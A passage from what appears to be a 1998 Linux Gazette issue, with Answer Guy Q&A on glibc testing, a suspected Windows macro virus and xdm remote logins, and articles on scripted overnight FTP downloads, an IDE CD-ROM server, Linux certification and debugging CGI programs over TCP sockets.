sockets, device nodes, FIFO/named pipes, etc) while read i ; do [ -f "$i" ] && echo "$i" done So I grabbed the textutils sources, created a few sets of md5sum files from my local files (using 'xargs'). Those are my test data sets. Then I got into md5sum.c, added the command options, cut and pasted some parts of the existing functions into a new function, and what able to get it cleanly compiling in a couple hours. I said I'm not a programmer didn't I. I think a decent programmer could have done this in about an hour. Then I ran several tests. I ran the "make check" tests, and used the new version's -c to check my test sets. I then used same script that generated those to generate a new set using the new version/binary. I then compared those (using 'cmp' and 'diff') and checked them with the old version. Then I generated new ones (with the new switch I'd added, and again with the old version) and cross check them again. This new version allows you to to use stdin or pass a filename which contains a list of files to checksum --- it uses the --filelist long argument as well as the -f short form; and you can use -f - or just -f to use stdin. I didn't implement the -0 (--null) option --- but I did put in the placeholders in the code where it could be done. The point here is that I had a test suite that was longer than the code. I also spent more time testing and documenting (writing a note to Ulrich Drepper, the original author of this package to offer the patches to him) than I did on coding. (?) Though a benchmarking component would be nice, my main concern is to verify that all (or at least the vast majority) of the library function work correctly. What I want to know is, given a specific compiler and a specific version of glibc source files, how can I verify that the libraries built are reliable? (!) By testing them. Unfortunately, that may mean that you'll have to write your own test suites. You may have to start a GNU/new project to create test suites. It is likely that most of the developers and maintainers of these packages have test suites that they run before they post their new versions. It would be nice if they posted the test suites as part of the source package --- and opened the testing part of the project to the open development model. In addition these test suites and harnesses (the scripts to create isolated and sample directory structures, etc) to run a program (or library) through its paces) would serve as a great addition to the documentation. I find 'man' pages to be incredibly dense. They are find if you know enough about the package that you are just looking for a specific feature, that you think might be there, or one that you know is in there somewhere --- but you don't remember the switch or the syntax. However, a test harness, script, and set of associated inputs, outputs, and configurations files would give plenty of examples of how the bloody thing is supposed to work. I often have to hunt for examples --- this would help. (?) The specific version I want to test is the glibc v2.0.7 that comes with RH Linux v5.1 and updated after 5.1 release by package glibc-2.0.7-19.src.rpm. I think that such a testsuite, though, if it exists, would be applicable to any platform. (!) I agree. I just wish I could really co-ordinate such a project. I think this is another example where our academic communities could really help. Before I've said that I would like to see the "adopt a 'man' page project" --- where college and university professors even high school teachers from around the world assign a job to their students: Find a command or package for Linux, FreeBSD, etc. Read the man pages and other docs. Find one way that the command is used or useful that is not listed the "examples" section of that man page. Write a canonical example of that command variant. ... they would get graded on their work --- and any A's would be encouraged (solely at their option) to submit the recommended example as a patch to the maintainer of the package. Similar assigments would be given for system calls, library functions, etc (as appropriate to the various classes and class segments). Along with this, we could have a process by which students are encouraged to find bugs in existing real world software --- write test suites and scripts to test for the recurrence of these bugs in future versions (regressions), and submit the tests to that package's maintainer. The problem with all of this is that testing is not glamorous. It is boring for most people. Everyone knows Richard M. Stallman's and Linus Torvalds' names --- but fewer people remember the names of the other programmers that they work with and no one know who contributed "just the testing." There are methods that can be used to many detect bugs quicker and more reliably than by waiting until users "bump into" them. These won't be comprehensive. They won't catch "all" of the bugs. However, people will "bump" into enough bugs in normal usage, even if we employ the best principles of QA practice across the board. Unfortunately I don't have the time to really devote to such a project. I devote most of my "free" time to the tech support department. I do have spare machine cycles. could gladly devote time to running these tests and reporting results. Obviously some tests require whole networks, preferably disconnected ones, on which to run safely. Setting up such test beds, and designing tests that return meaningful results is difficult work. I personally think that good test harnesses are often harder to design than the programs that they are designed to test. (?) Thank you. ***** Steve Snyder ***** ____________________________________________________ (?) All that Vaunted Support for those Windows Users From prince20 on 14 Sep 1998 Hi My Favorites Folder was converted to a shell file after I reinstalled Windows95 and Internet Explorer 4.01SP. (!) What is a "shell file"? (?) Yeah you guessed it I did not back up the folder. The problem I have is that I can not open the shell file. I have used every method I know but nothing is happening. Do you know of a tool or a way to open the shell file? Please Email me. Your help is appreciated. (!) I'd look at it in 'vi' if it was on my system. However, that probably isn't very helpful. (?) Thank You (!) Where did you get this address and why did you mail this question to me? I volunteer time to answer Linux questions. I don't run Win 95. Microsoft and other commercial software companies are supposed to have their own tech support departments. If those sources of support are failing you --- perhaps you should reconsider your software purchases. ____________________________________________________ (?) Another Non-Linux Question From Zeki67@aol.com on 08 Oct 1998 I have been trying to connect my brothers PC in Louisville with mine in Atlanta using his Win95 dial-up as a client and mine as nt4.0 ras server. (!) I'm the "Linux Gazette Answer Guy" --- call Microsoft's tech support with our questions about their OS. If you'd like to try Linux at either end of this connection --- be sure to look through some of our HOWTO's and guides at: http://sunsite.unc.edu/LDP (Linux Documentation Project). (?) We have tried with different protocols, and our workgroups, user names and p/words matching but with no success. He can dial from win95, but mine does not respond at all. So I thought my modem which is not listed in misrosoft's HCL, is CPI Viva 33.6 CommCenter. I know for sure that my modem could not automaically answer the call under nt4.0, because when I set up my server as Win95 Dial-up server the modem answered and we made the connection. I even tried to edit the modem log for my modem type incase if it works, but I didn't know how to edit the log. Is there any method you can think of how to solve this problem. I want to use my nt4.0 RAS to connect to Win95 Dial-Up client. Please help me. (!) I want to stop getting questions for some OS that I don't run, a derivative of one that I abandonned a half decade ago. Please help me. Call Microsoft (or hire an MCSE, or try your modem vendor). (?) Thank you. Zeki [ All of you folks interested in MS-Windows rather than the Linux environment might find http://www.fixwindows.com/ handy; it's run by MCSE's, so I suppose in a worst case, you know where to hire someone. But before you go that far, they have a vendor phone listing, and some hints for effective troubleshooting. There's also a newsgroup heirarchy for your environment. If you are considering switching and you like experimenting, you might help out the WINE Prohect at http://www.winehq.com/, run a copy of WinOS/2 under Dosemu (http://www.suse.com/dosemu/), or try any of the growing number of major applications available in both environments. -- Heather ] ____________________________________________________ (?) Macro Virus? From garygonegolfing@juno.com on 14 Oct 1998 Hello, Answerguy, I found you on the web. Your name simply dictates that I must ask you a question: A user has a Dell Laptop running Windows 95, Office97, and Outlook 98. Apparently, he has acquired some sort of virus (I'm assuming here) because when he opens Outlook 98 (Exchange 5.5) and sends and email (replies or writes a new message) three windows automatically open and the cursor continuously types a character until he hits the spacebar. This happens when he opens a Word document and an Excel document, too. (!) You only know part of the story. My full "name" is "The Linux Gazette Answer Guy" (tag). So, I answer LINUX questions. However.... (?) Background: I've run McAfee 3.2 (with latest DAT files) and found no trace of viruses (clean boot, et al.). This laptop was sent back to Dell and they (supposedly) Fdisked it and reinstalled the OS. Worked for a while, but IT'S BAAAACK. Definitely sounds like some sort of file infection, but I'm at my witt's end. I've scanned all files on the network and found one Macro-infected virus (cleaned). Any information or insight that you can provide would be welcome. Thanks for your time, AG. Gary Hollifield MIS Manager FOCUS Enhancements, Inc. NOTE: Please reply to all (I would like to get this at work, too). Thanks again. (!) As it happens I used to work for McAfee (as a Unix sysadmin, and their BBS SysOp). I also did some QA on SCAN. While the behaviour you describe is suspicious, we can't definitely say that it is a virus solely from the symptoms you describe. I would wipe the system personally (don't send it off to the chop shop, do it yourself). Leave it completely off of the network for a few days (at least twice as long as it seemed to take for the problem to appear on the prevous occasions). Install all software, OS, Office, etc from the orginal CD's. Manually disable the "boot from floppy" options in the CMOS setup and the "autoexecute macro" features from WinWord and Excel. Manually inspect all documents that go onto the system (and limit yourself to short documents). It could be some strange compatibility problem. If you don't see this happening on any other systems in your network, and with which this system as been sharing files, floppies and users, than it's not a virus (it's not spreading!). Other than that, I'd consider putting Linux on it, and running that. Although there as been one "virus" for Linux (Bliss, a piece of sample code that actually managed to honestly infect a couple of users), they are simply not a problem for Linux, FreeBSD, or other Unix users. ____________________________________________________ (?) Remote X using xdm From Andy Faulkner on 28 Sep 1998 Dear answerguy. I have been trying for the last several hours that when I first started it sounded simple. I am trying to launch a xdm session on my linux box from a another linux box on the same network. I have tried to use "chooser" but it brings up no listed hosts. Also when I fire up chooser I see nothing going across the network. I hate to say this but with my Winblows box I can do it with reflectionX. I am running S.u.S.E. 5.2 and the other machine is running 5.3. We are both using KDE and also using kdm instead of xdm. We have tried both, and both had the same results. It looks as though I am not sending the request out to the host for a xdm session. I can't seem to find any docs on "chooser" or on how to launch a session on a linux box. What do you think? Andy Faulkner (!) I think 'chooser' (/usr/X11R6/lib/X11/xdm/chooser) is normally run by 'xdm' --- probably with some special environment variables and parameters. --- I don't think it's feasible to run 'chooser' by itself. (That would be a good reason to put it in the "lib" directory rather than under a bin directory --- and would explain why it has no man page of its own. (I'll grant that this seems like an odd way to do it --- since making 'chooser' a shared library would make more sense from a classical programming point of view. In any event I don't know how you'd use 'chooser' directly). Remote execution of X sessions via xdm is a bit confusing. Under S.u.S.E. they have a script /sbin/init.d/rx which can be used with their /etc/rc.config variable settings to run the xdm and allow access via XDMCP (the X display manager control protocol). To remotely access systems running these display managers you have to run your X server with a command such as: X -broadcast (connect to the "first" --- or only --- available xdm server). Alternatively you can specify the server you want to connect to with a command like: X -query $HOST --- which will require the host name or IP address. To use the chooser you have to run a command like: X -indirect $HOST ... this will cause the xdm on the named host to provide a list of known xdm hosts (possibly including itself). In any of these cases the 'xdm' process must already be running on the remote host. That host need not be running any X server! (I realize the terminology is confusing --- more on that later). To quote the xdm man page: When xdm receives an Indirect query via XDMCP, it can run a chooser process to perform an XDMCP BroadcastQuery (or an XDMCP Query to specified hosts) on behalf of the display and offer a menu of possible hosts that offer XDMCP display management. This feature is useful with X terminals that do not offer a host menu themselves. (it's also possible to configure the list manually and to configure it so that some BroadcastQuery replies are ignored). I have no 'kdm' incorporates all of these functions are not. You should look through their man page for details. I'm also a bit unclear on how you'd run xdm such that it would not run a local display server. I know it's possible, but I'm not sure how. (In other words, if you want to run 'kdm' on your console and 'xdm' for the remote X servers). I realize the terminology is a bit confusing here. We have "xdm servers" running on one machine, and X servers (the X Windows display server --- the think that actually controls your video card) running on other machines. Note that the X display server controls your video card and acts as a communications package between your display (keyboard, video, and mouse) and the programs that are running under X (the "clients" to your display server). Thus 'xdm' is a "client" to your X display server regardless of whether that 'xdm' process is running on you localhost or on another machine on the network. To complicate issues even further the 'xdm' "indirect" option first connects your X server to a one client --- then, based on the selection you make from the chooser, it restarts your X server with instructions on connecting to another 'xdm' host. In the end, when you connect to a host via 'xdm', you log into and it is as though you were running an X session at that system's console. All of the windows you open will be processes running on the 'xdm' host. So you can think of 'xdm' as a combined 'getty' and 'telnetd' and 'login' for the X protocol. There are a variety of shell scripts under /usr/X11R6/lib/X11/xdm that control how the console is "taken" (back from a user that logs out) "given" (to a user that logs in), "setup" (prior to xdm's display of the "xlogin" widget), "started" (as 'root' but after login) and how the "session" is started (under the user's UID). You'll want to read the xdm man page and all of the scripts and resource files in the xdm directory to adjust these things. (It just amazes me how complicated all that vaunted "flexibility" and all those customization options can make something as seemingly simple as: provide me with a GUI login). Anyway, I hope that helps. "Linux Gazette...making Linux just a little more fun!" ____________________________________________________________________________ Building an Automatic FTP Retriever by Manuel Arturo Izquierdo ______________________________________________________________________ Internet is the big and wide world of infomation, which is really great, but when one works on a limited Internet access, retrieving big amounts of data may become a nigthmare. This is my particular case. I work at the National Astronomic Observatory, Universidad Nacional de Colombia. Its ethernet LAN is attached to a main ATM university's network backbone. However, the external connection to the world goes through a 64K bandwidth channel and that's a real problem when more than 500 users surf the net on day time, for Internet velocity becomes offendly slow. Matter change when night comes up and there is nobody at the campus, and so the transmition rate grows to acceptable levels. Then, one can downloading easily big quantities of information (for example, a whole Linux distribution). But as we are mortal human beings, it's not very advisable to keep awake all nights working at the computer. Then a solution arises: Program the computer so it works when we sleep. Now the question is: How to program a Linux box to do that? This is the reason I wrote this article. On this writting I cover the concerning about ftp connections. I have not worked yet on http connections, if you did so, please tell me. At first sight, a solution comes up intuitively: Use the at command to program an action at a given time. Let's remember how looks a simple ftp session (in bold are the commands entered by user): bash$ ftp anyserver.anywhere.net Connected to anyserver.anywhere.net. 220 anyserver FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready. Name (anyserver:theuser): anonymous 331 Guest login ok, send your complete e-mail address as password. Password:(an e-mail address) 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd pub ftp> bin ftp> get anyfile.tar.gz 150 Opening BINARY mode data connection for anyfile.tar.gz (3217 bytes). 226 Transfer complete. 3217 bytes received in 0.0402 secs (78 Kbytes/sec) ftp> bye 221 Goodbye. bash$ You can write a small shell script containing the steps that at will execute. To manage the internal ftp commands into a shell script you can use a shell syntax feature that permits to embed data that supposely would come from the standard input into a script. This is called a "here" document: #! /bin/sh echo This will use a "here" document to embed ftp commands in this script # Begin of "here" document ftp <<** open anyserver.anywhere.net anonymous mymail@mailserver.net cd pub bin get anyfile.tar.gz bye ** # End of "here" document echo ftp transfer ended. Note that all the data between the ** strings are sended to the ftp program as if it has been written by the user. So this script would open a ftp connection to anyserver.anynet.net, loging as anonymous with mymail@mailserver.net as password, will retrieve the anyfile.tar.gz file located at the pub directory using binary transfer mode. Theoretically this script looks okay, but on practice it won't work. Why? Because the ftp program does not accept the username and password via a "here" document; so in this case ftp will react with an "Invalid comand" to anonymous and mymail@mailserver.net . Obviously the ftp server will reject when no login and password data are sended. The tip to this lies in a hidden file that ftp uses called ~/.netrc ; this must be located on the home directory. This file contains the information required by ftp to login into a system, organized in tree text lines: machine anyserver.anynet.net login anonymous password mymail@mailserver.net In the case for private ftp connections, the password field must have the concerning account password, instead an email as for anonymous ftp. This may open a security hole, for this reason ftp will require that the ~/.netrc file lacks of read, write, and execute permission to everybody, except the user. This is done easily using the chmod command: chmod go-rwx .netrc Now, our shell script will look so: #! /bin/sh echo This will use a "here" document to embed ftp commands in this script # Begin of "here" document ftp <<** open anyserver.anywhere.net cd pub bin get anyfile.tar.gz bye ** # End of "here" document echo ftp transfer ended. ftp will extract the login and passwd information fron ~/.netrc and will realize the connection. Say we called this script getdata (and made it executable with chmod ugo+x getdata), we can program its execution at a given time so: bash$ at 1:00 am getdata (control-D) Job 70 will be executed using /bin/sh bash$ When you return at the morning, the requested data will be on your computer! Another useful way to use this script is: bash$ nohup getdata & [2] 131 bash$ nohup: appending output to 'nohup.out' bash$ nohup permits that the process it executes (in this case getdata) keeps runnig in spite of the user logouts. So you can work in anything else while in the background a set of files are retrieved, or make logout without kill the ftp children process. In short you may follow these steps: * Put the server name, user (anonymous) and password information in the ~/.netrc file * Be sure that the ~/.netrc file permissions be rwx------ * Write a script with the template: #! /bin/sh ftp <<** open (the ftp servername) (sequence of ftp commands...) bye ** * Allow execute permission to the script: chmod ugp+x scriptname * Program the execution time: at 1:00 am thescript (control-D) And voilá. Additionally you can add more features to the script, so it automatically manages the updating of the ~/.netrc file and generates a log information file showing the time used: #!/bin/sh # Makes a backup of the old ~/.netrc file cp $HOME/.netrc $HOME/netrc.bak # Configures a new ~/.netrc rm $HOME/.netrc echo machine anyserver.anywhere.net > $HOME/.netrc echo login anonymous >> $HOME/.netrc echo password mymail@mailserver.net >> $HOME/.netrc chmod go-rwx $HOME/.netrc echo scriptname log file > scriptname.log echo Begin conection at: >> scriptname.log date >> scriptname.log ftp -i<<** open anyserver.anywhere.net bin cd pub get afile.tar.gz get bfile.tar.gz bye ** echo End conection at: >> scriptname.log date >> scriptname.log # End of scriptname script To create by hand such script each time we need to download data may be annoying. For this reason I have wrote a small tcl/tk8.0 application to generate a script under our needs. You can find detailed information about the ftp command set in its respective man page. ______________________________________________________________________ _________________________________________________________________ Copyright © 1998, Manuel Arturo Izquierdo Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ Building an IDE CD-ROM Server by Ron Jachim and Howard Cokl of the Barbara Ann Karmanos Cancer Institute _________________________________________________________________ Introduction The advantages of having a CD-ROM jukebox should be readily apparent in a networked environment. You can provide multiple CD-ROMs to multiple people. Granted, in an ideal environment, you would want the throughput of SCSI CD-ROM drives. There are also disadvantages to SCSI drives. They are more expensive and harder to configure. A cheaper alternative is to use a bunch of IDE CD-ROM drives. Many people even have slower ones lying around because they just had to have a faster one. What you need: PC Capable of running Linux 1 or 2 IDE Controller Cards, depending on the capabilities of the motherboard see below for additional information. 7 IDE CD-ROM drives 1 IDE Hard Disk Case with 7 5.25" form factor exposed drive bays and one additional drive bay for the hard disk. I assume that you can assemble all of the parts necessary. You may have to call around and ask about an appropriate case -- order it with a power supply as they sometimes use unusual ones. JDR does not show one in their catalog, but we got ours from JDR. The most unusual component is the IDE controller which we have describe below, and it is not even that unusual. IDE Controller Description The only key to this server is that you can have up to four IDE channels, each capable of supporting two drives. The controller must be ATAPI compliant to support IDE CD-ROM drive. Assuming you use a single IDE hard disk for booting, that leaves up to seven connection points for additional IDE devices, in this case CD-ROM drives. An appropriate controller is the Enhanced IDE controller card, part number MCT-ILBA from JDR Microdevices (www.jdr.com) which lists at $69.99. Many motherboards are capable of supporting one or two IDE channels, so configuration instructions vary slightly. The rest of the discussion assumes you want a maximal configuration. No Channels on the Motherboard (two IDE controller cards required) Configure the first controller so that its first channel is the primary controller and the second channel is the secondary controller. The controller card should have a BIOS address and you will need to make sure it does not conflict with any other BIOS address ranges already in use (or on the other IDE controller card). Configure the second controller so that its first channel is the tertiary (third) controller and the second channel is the quaternary (fourth) controller. Note your IRQ and I/O Address range for all channels. Remember, you cannot share the IRQs, I/O address ranges, or BIOS address ranges. 1 Channel on Motherboard (two IDE controller cards required) If the motherboard has one IDE channel, it will support two IDE drives. Configure the channel as primary. You probably have no choice in this, but if you do, choose primary. Configure the first IDE controller card so that its first channel is the secondary controller and disable the second channel. The controller card should have a BIOS address and you will need to make sure it does not conflict with any other BIOS address ranges already in use (or on the other IDE controller card). Configure the second IDE controller card so that its first channel is the tertiary controller and the second channel is the quaternary controller. Note your IRQ and I/O Address range for all channels. Remember, you cannot share the IRQs, I/O address ranges, or BIOS address ranges. 2 Channels on Motherboard (one IDE controller card required) If the motherboard has two IDE channels, it will support four IDE drives. Configure the first channel as the primary controller and the second channel as the secondary controller. Configure the IDE controller card so that its first channel is the tertiary controller and the second channel is the quaternary controller. The controller card should have a BIOS address and you'll need to make sure it does not conflict with any other BIOS address ranges already in use (or on the other IDE controller card). Note your IRQ and I/O Address range for all channels. Remember, you cannot share the IRQs, I/O address ranges, or BIOS address ranges. Table of Common IDE Information # Channel IRQ I/O Address* 0 Primary 14 1F0-1F8 1 Secondary 15 170-178 2 Tertiary 11 1E8-1EF 3 Quaternary 10 168-16F * Note: the documentation with our card was incorrect. Software Installation Once you have configured the hardware and noted all settings, you are nearly done. Start the Slackware installation with the bootdisk. A normal Linux installation has two IDE channels configured, so you only need to configure in the other two channels. At the "boot:" prompt specify the additional IDE channels using kernel "command line" options. For example, boot: ide2=0x1e8,0x1ef,11 ide3=0x168,0x16f,10 As you can see, the third IDE channel (ide2) uses I/O addresses in the range 1E8-1EF and IRQ 11. The fourth IDE channel (ide3) uses I/O addresses in the range 168-16F and IRQ 10. After completion of the Slackware install it is simply a matter of either exporting the drives for NFS mounting or configuring Samba and sharing the drives. Next Step The next thing we would like to do is configure the CD-ROM server with 8 CD-ROM drives and no hard disk. We feel it is a technically elegant solution to have the boot disk be a custom-burned CD-ROM and use BOOTP or DHCP to handle the network configuration. A possible alternative is to use a solid state drive for boot purposes. _________________________________________________________________ Copyright © 1998, Ron Jachim and Howard Cokl Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ Creating a Linux Certification Program - The Next Step By Dan York _________________________________________________________________ Creating A Linux Certification Program - The Next Step After my article in the October Linux Gazette, I received over 60 replies, almost all of which were positive. With this next article, I want to announce some various resources on the web and also a new mailing list to discuss certification. Many thanks to all of you who have sent me pointers and also volunteered to help. I received responses from all corners of the globe and was excited and impressed to see: a) the work some people are already doing on Linux training and certification; b) the enthusiasm out there about Linux, and also about Linux training and certification; and c) the willingness of so many people to help out and be involved! THANK YOU!! ______________________________________________________________________ Initial Comments Five specific notes before I get to all the pointers people have sent me: * First, Dave Sifry at Linuxcare,Inc., was kind enough to set up a mailing list to host further discussions on creating a unified Linux certification program. To subscribe, send a message to: majordomo@linuxcare.com with the message: subscribe linux-cert Messages to the discussion list are sent to "linux-cert@linuxcare.com" The list is intended for people who *want* to build a certification program. We don't need to another place to discuss whether or not a Linux certification program *should* exist... subscribers to the list should agree that, yes, we want a Linux certification program - now let's discuss how best to build one. * Second, Bruce Dawson from CodeMeta graciously set up a place where I could post pointers for Linux training resources. It's at: http://www.linuxtraining.org/ Don't bother going there yet as I don't have any real content online. My goal is to build a "Linux Training Alliance" of other training centers that will be offering Linux training with the idea of publicizing schedules, resources, etc. If you are involved with a training center (commercial, university or nonprofit, etc.), and would be interested, drop me a note. I expect to have some more ideas there by mid-November. Check in then... * Third, the folks at SAGE (the System Administrator's Guild, a special technical group within USENIX) have been doing some great work on developing a generic UNIX certification program. Please check out their work at: http://www.usenix.org/sage/cert/ While it will probably make sense from a marketing perspective to have a separate Linux credential, I personally think our efforts should be at the very least complementary to what SAGE develops - if not coordinated directly with the SAGE work. There will be a block of time on December 10th at the big USENIX LISA conference in Boston, MA, December 9-11, to discuss certification. I'm planning to be there and would be glad to meet others there. More info can be found at http://www.usenix.org/ * Fourth, I just wanted to respond to a number of comments people sent taking issue with my article's focus on making money offering Linux training. I make no apologies. My company is a for-profit training center and I would desperately love to make my living teaching people how to use Linux instead of doing what I am currently doing (teaching people how to use Windows NT!). That said, I believe that *any* Linux certification program should be created in such a way as to be affordable and as inexpensive as possible. Which, if you look at it, is true of Microsoft's MCSE program. To become an MCSE, you MUST only spend $600 - 6 exams at $100/each. That's it... $600 ($U.S.). It's how you prepare for those exams that costs the money. Some people use books, others computer-based training, some the free info on the web - others take training classes. In my opinion, any Linux training program should offer a similar range of options - the actual certification cost should be as minimal as possible. * Finally, Tobin Maginnis (ptm@sairinc.com) responded to mention the program he has put together for a "Linux Certified System Engineer". He has a site up at: http://www.linuxcertification.org/ Tobin will have an article in the December issue of the Linux Journal and is also extremely interested in developing a Linux industry-wide certification program. I encourage you to visit his site and read his material. ______________________________________________________________________ Resources Relating To Linux Certification As a result of my article, a number of people sent me pointers to resources available on the web relating to Linux training and certification. The pointers are listed below. * First off, there's a web discussion group at the Linux Journal site focused on Linux certification. It's at: http://www.linuxjournal.com/HyperNews/get/certification.html It was created after a November 1997 article by Phil Hughes on the topic. Please do take a look at it. If people want to use that forum for discussions versus the "linux-cert" mailing list, I'm certainly open to it. Mailing lists happen to work better for me personally... but I could work on a web site, too. * Quite a number of people (including Robert Hart himself) pointed me to his pages at Red Hat where he describes the program Red Hat is developing: http://www.redhat.com/~hartr/ He also has posted there a talk he gave at a May 1998 LinuxExpo describing the Red Hat program and their reasons for going their own way. * Caldera came out with some more info about their training program. You can learn more at: http://www.linuxtraining.com/support/training.html Yes, Caldera took out "linuxtraining.com" some time ago - it just goes to their main site (http://www.caldera.com/) * Kris Carlier (carlier@iguana.be) wrote in about some courses he is offering in Belgium. He's got a web site up at: http://panoramix.cmo-waasland.be/~kris/linuxtraining/ The text is in Dutch, but there are enough English words that you might get the idea... and hey, the dancing penguin is cool! * Andreas Neuper wrote in about the SAGE site, but also suggested visiting IBM's site on certification for an example of another certification program. It's at: http://www.ibm.com/certify * "I Made Wiryana" replied from Indonesia about efforts there to promote Linux within Indonesia. He provided two links: http://nakula.rvs.uni-bielefeld.de/made/SRIG-PS/standard.html http://nakula.rvs.uni-bielefeld.de/made/artikel/Abad21 Do be aware that his site is entirely written in Indonesian! * Several people wrote to suggest that Microsoft's program was not the one that should be emulated. I understand their comments (one was, "if we are to emulate anyone, it should NOT be Microsoft!") but actually think Microsoft has put some good thought into their program. If you haven't seen Microsoft's pages relating to certification, check out: http://www.microsoft.com/train_cert/ * Someone wrote in to say that 6 months ago, he designed a program in Pennsylvania with 3 levels - Certified Linux Administrator, Certified Linux Instructor, Certified Linux Engineer. He didn't provide a web page or any other information... and I haven't been able to find anything... but he's out there somewhere... * Another reader wrote in to ask that the word "Engineer" not be used in any certification program titles as some states/countries regulate who can be called an "Engineer" (reserving the term for people such as Mechanical Engineers and Civil Engineers). Tough issue, given that so much of the IT industry used the word "engineer"... * I happened to stumble on the page for "The Linux Foundation" which is apparently developing two different Linux certification programs - "Certified Linux Administrator" and "Certified Linux Expert". Their web site indicates that exams are in development and will be offered through Sylvan Prometric (the same as Microsoft, Sun and Novell). More info is at: http://www.linuxfoundation.org/ It's not clear, but it appears there may be a link between this site and Digital Concepts, LLC, whose web site is at: http://www.digitalco.com/ It appears they are following Caldera's plans and will be developing guides for Caldera's program (see http://www.digitalco.com/linuxtests/) ______________________________________________________________________ Final Thoughts Other people did point out that this topic has been around for a while. Indeed, through the AltaVista search engine I found pointers to discussions that occurred about setting up a Linux certification program back in 1996. The issue now is that the momentum of certification within the IT industry just keeps increasing and the responses to my article make me only that much more sure that we need to move now to make sure that we build a unified Linux certification program that we all can get behind and promote with the same energy and enthusiasm that Microsoft promotes the MCSE and Novell promotes the CNE. The biggest single item that can kill a Linux certification program is if we in the Linux community wind up with 4 or 5 different separate programs! (Do I hear the UNIX wars again?) There is strength in numbers - can we build a common program? Please join me on the mailing list and let's see if we can give it a shot! Previous Article _________________________________________________________________ Copyright © 1998, Dan York Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ Debugging CGI Programs over TCP Sockets by Kevin O'Malley _________________________________________________________________ BACKGROUND This article evolved from my frustration in developing and debugging CGI programs written for the AuctionBot, a multi-purpose auction server. I found that the available C libraries, C++ class libraries and web server extensions did not fit my needs so I decided to implement a different approach based on debugging over TCP sockets. Using this approach, I have successfully implemented and debugged most of the CGI's for this project. My development machine at work is a Sun Ultra 1 running Solaris 2.5. At home I have a Linux box running RedHat 5.0. I developed all my debugging code under Linux. Linux provides a very stable development environment that allowed me to develop, test and experiment locally, without requiring remote login to the Sun. Once the code was running, I simply moved it over to the Sun, built it and started using it. OVERVIEW Debugging CGI (Common Gateway Interface) programs present unique challenges not found when debugging programs in more traditional environments. CGI's are executed by a web server and run within the environment created by the web server. This makes a CGI's runtime behavior strongly coupled to the environment setup by the web server. A developer can not simply run a CGI from a shell, or under a debugger, and expect it to behave as it does while running within the web server environment. A common CGI debugging technique involves capturing the environment that a CGI is run under (usually to a disk file), restoring the environment on a local machine and running the CGI locally within the restored environment. Using this technique, CGI's can be run from the command-line, or from within a debugger (gdb for example) and debugged using familiar debugging techniques. This technique is straight forward, but requires the developer to perform the extra work of capturing and restoring the CGI runtime environment. Another problem in debugging CGI's is viewing the output of a CGI that fails to run correctly. If you are using Apache 1.2 or later, this can be addressed by configuring the web server to log error messages to a error log file. This approach works for some classes of problems, but does not provide the granularity I wanted. One could write debugging/status information to log files and use tail -f logfile to view the file. This works, but can produce deadlock conditions if multiple copies of your CGI are running and they attempt to use the same shared resource (the log file) and do not use file locking. Developers must provide file locking code and handle possible deadlock conditions, including cases where a CGI crashes before it releases its file lock [1]. In addition, all writes must be atomic to ensure correct output. Ideally, one would like to debug the CGI in its natural surroundings, i.e. from within environment created by the web server, without any extra setup work. MY SOCKET-BASED SOLUTION An alternative technique is to use network sockets to write debugging information using printf-like statements to a debug server application running on the developers local machine, or any machine on the network. Using this technique, CGI's can be debugged and monitored quickly and easily while running within the server environment. The class SocketDB provides the required behavior to debug CGI's over TCP sockets. The class supplies methods to connect to the server and write strings over a TCP socket. class SocketDB { private: int mSD; ErrorTypes mErrorType; int mConnected; public: SocketDB(); SocketDB(char *name, int port); ~SocketDB(); int Connected() { return mConnected; } int ErorType() { return mErrorType; } int Connect(char *name, int port); int Print(char *format,...); int Println(char *format,...); }; To connect to the server use the SocketDB constructor passing the server name and port, or use the Connect method. Both will attempt to connect to the server on the specified port. Use the Connected method to determine if the connection was successful or you can use the return value of Connect. The Connect method returns 1 if connected, otherwise, 0. If a connect error occurs, use the ErorType method to get error information. The file Socket.C enumerates the error types. THE CLIENT The program DebugClient (see DebugClient.C) shows how to use the class. For simplicity, I designed this program to run from the command-line, rather than a CGI program run by the web server. I choose this approach so users could quickly run the program and see how the socket debug class works. Integrating the class into a CGI is very straight forward. The program attempts to connect to the debug server program specified by the command-line arguments host and port (see source code). If it fails to connect, it prints a message, and the error code and exits. If it connects, it prints the test string, writes the same string over a TCP socket to debug server and reports the result of the debug server write. A DEBUG SERVER The program DebugServer (see DebugServer.C) implements an example debug server [2]. This program is a simple echo server that creates a socket, binds to it and accepts connections from clients. Once it gets a connection it forks off and handles the connection. In this case it just reads a string and echoes it. USING THE PROGRAMS To use the client program and the debug server, cd to the directory containing the example programs and type DebugServer [port] where port is the port you want the server to listen on. For example, to run the program on port 4000, type DebugServer 4000. In another shell cd to the directory containing the example programs and type DebugClient [host] [port] where host is the host name of the machine the server is running on (get this by typing hostname at the command prompt) and the port is the port were the server to listening (4000 for example). You should see a text string written to the server and to the shell. CONCLUSIONS Using network sockets to write debugging and state information to a server application is a flexible and effective technique for monitoring and debugging CGI programs. Using this method, developers can quickly debug CGI's while they run within the server environment. RESOURCES [1]. W. R. Steven, 1990, UNIX Network Programming. New Jersey: Prentice-Hall, Inc, pp. 88-101. [2]. W. R. Steven, 1990, UNIX Network Programming, Network APIs: Sockets and XTI Volume 1. New Jersey: Prentice-Hall, Inc. Code: http://groucho.eecs.umich.edu/~omalley/software/socket_debug-1.0.tar.g z _________________________________________________________________ Copyright © 1998, Kevin O'Malley Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ Fall Internet World 98 A View From the Show Floor By Stephen Adler ______________________________________________________________________ I just experienced my first big league Internet show. And was it a doozer.... The show was titled 'Fall Internet Show 